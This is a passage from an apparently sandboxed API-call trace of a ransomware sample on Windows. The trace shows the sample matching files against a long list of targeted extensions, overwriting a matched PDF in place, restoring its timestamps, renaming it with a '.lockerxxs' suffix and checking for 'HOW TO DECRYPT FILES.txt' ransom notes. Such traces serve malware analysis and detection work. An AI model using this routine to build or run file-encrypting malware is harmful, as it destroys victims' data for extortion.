(pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0069.179] lstrlenA (lpString="*.mkv") returned 5 [0069.179] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.179] lstrlenA (lpString="*.eml") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0069.180] lstrlenA (lpString="*.msg") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0069.180] lstrlenA (lpString="*.edb") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0069.180] lstrlenA (lpString="*.accdb") returned 7 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0069.180] lstrlenA (lpString="*.odb") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.java") returned 0 [0069.180] lstrlenA (lpString="*.java") returned 6 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0069.180] lstrlenA (lpString="*.asm") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0069.180] lstrlenA (lpString="*.pfx") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0069.180] lstrlenA (lpString="*.pem") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0069.180] lstrlenA (lpString="*.p12") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0069.180] lstrlenA (lpString="*.gpg") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0069.180] lstrlenA (lpString="*.vsd") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0069.180] lstrlenA (lpString="*.odg") returned 5 [0069.180] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0069.180] lstrlenA (lpString="*.raw") returned 5 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0069.181] lstrlenA (lpString="*.nef") returned 5 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0069.181] lstrlenA (lpString="*.svg") returned 5 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0069.181] lstrlenA (lpString="*.psd") returned 5 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0069.181] lstrlenA (lpString="*.vmx") returned 5 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0069.181] lstrlenA (lpString="*.vmdk") returned 6 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0069.181] lstrlenA (lpString="*.vdi") returned 5 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0069.181] lstrlenA (lpString="*.lay6") returned 6 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0069.181] lstrlenA (lpString="*.mpeg") returned 6 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0069.181] lstrlenA (lpString="*.djvu") returned 6 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0069.181] lstrlenA (lpString="*.tiff") returned 6 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0069.181] lstrlenA (lpString="*.backup") returned 8 [0069.181] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0069.181] lstrlenA (lpString="*.pdf") returned 5 [0069.181] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" [0069.182] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" [0069.182] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf." [0069.182] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf.lockerxxs" [0069.182] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.182] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x49db0 [0069.182] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a04a60, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0069.182] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.182] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x49d8a, lpOverlapped=0x0) returned 1 [0069.194] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf") returned="AdobeID.pdf" [0069.196] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.196] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x49d8a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x49d8a, lpOverlapped=0x0) returned 1 [0069.197] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.198] CloseHandle (hObject=0x94) returned 1 [0069.311] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf.lockerxxs")) returned 1 [0069.375] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d8f, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0069.375] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.375] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0069.375] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0069.375] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0069.375] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf") returned="AdobeID.pdf" [0069.375] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\" [0069.375] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\") returned="" [0069.375] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\HOW TO DECRYPT FILES.txt" [0069.375] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\how to decrypt files.txt")) returned 0x20 [0069.375] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" [0069.375] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0069.375] lstrlenA (lpString="*.ems") returned 5 [0069.375] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.db") returned 0 [0069.375] lstrlenA (lpString="*.db") returned 4 [0069.375] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0069.375] lstrlenA (lpString="*.dbf") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0069.376] lstrlenA (lpString="*.myox") returned 6 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0069.376] lstrlenA (lpString="*.myo") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0069.376] lstrlenA (lpString="*.qbw") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0069.376] lstrlenA (lpString="*.qbb") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0069.376] lstrlenA (lpString="*.qbm") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0069.376] lstrlenA (lpString="*.qbo") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0069.376] lstrlenA (lpString="*.qbx") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0069.376] lstrlenA (lpString="*.qba") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0069.376] lstrlenA (lpString="*.qby") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0069.376] lstrlenA (lpString="*.qbj") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0069.376] lstrlenA (lpString="*.ofx") returned 5 [0069.376] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0069.376] lstrlenA (lpString="*.qif") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0069.377] lstrlenA (lpString="*.mye") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0069.377] lstrlenA (lpString="*.mbox") returned 6 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.377] lstrlenA (lpString="*.eml") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0069.377] lstrlenA (lpString="*.pst") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0069.377] lstrlenA (lpString="*.ost") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0069.377] lstrlenA (lpString="*.idx") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0069.377] lstrlenA (lpString="*.dbx") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0069.377] lstrlenA (lpString="*.sql") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0069.377] lstrlenA (lpString="*.mdb") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0069.377] lstrlenA (lpString="*.fdb") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0069.377] lstrlenA (lpString="*.wab") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0069.377] lstrlenA (lpString="*.dat") returned 5 [0069.377] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0069.378] lstrlenA (lpString="*.txt") returned 5 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0069.378] lstrlenA (lpString="*.jpeg") returned 6 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0069.378] lstrlenA (lpString="*.jpg") returned 5 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.png") returned 0 [0069.378] lstrlenA (lpString="*.png") returned 5 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.php") returned 0 [0069.378] lstrlenA (lpString="*.php") returned 5 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0069.378] lstrlenA (lpString="*.cs") returned 4 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0069.378] lstrlenA (lpString="*.cpp") returned 5 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0069.378] lstrlenA (lpString="*.rar") returned 5 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0069.378] lstrlenA (lpString="*.zip") returned 5 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.html") returned 0 [0069.378] lstrlenA (lpString="*.html") returned 6 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0069.378] lstrlenA (lpString="*.htm") returned 5 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0069.378] lstrlenA (lpString="*.xlsx") returned 6 [0069.378] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0069.379] lstrlenA (lpString="*.xls") returned 5 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0069.379] lstrlenA (lpString="*.mp4") returned 5 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0069.379] lstrlenA (lpString="*.ppt") returned 5 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0069.379] lstrlenA (lpString="*.pptx") returned 6 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0069.379] lstrlenA (lpString="*.doc") returned 5 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0069.379] lstrlenA (lpString="*.dot") returned 5 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0069.379] lstrlenA (lpString="*.docx") returned 6 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0069.379] lstrlenA (lpString="*.7z") returned 4 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0069.379] lstrlenA (lpString="*.tar") returned 5 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0069.379] lstrlenA (lpString="*.bz2") returned 5 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0069.379] lstrlenA (lpString="*.gz") returned 4 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0069.379] lstrlenA (lpString="*.mkv") returned 5 [0069.379] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.380] lstrlenA (lpString="*.eml") returned 5 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0069.380] lstrlenA (lpString="*.msg") returned 5 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0069.380] lstrlenA (lpString="*.edb") returned 5 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0069.380] lstrlenA (lpString="*.accdb") returned 7 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0069.380] lstrlenA (lpString="*.odb") returned 5 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.java") returned 0 [0069.380] lstrlenA (lpString="*.java") returned 6 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0069.380] lstrlenA (lpString="*.asm") returned 5 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0069.380] lstrlenA (lpString="*.pfx") returned 5 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0069.380] lstrlenA (lpString="*.pem") returned 5 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0069.380] lstrlenA (lpString="*.p12") returned 5 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0069.380] lstrlenA (lpString="*.gpg") returned 5 [0069.380] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0069.381] lstrlenA (lpString="*.vsd") returned 5 [0069.381] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0069.381] 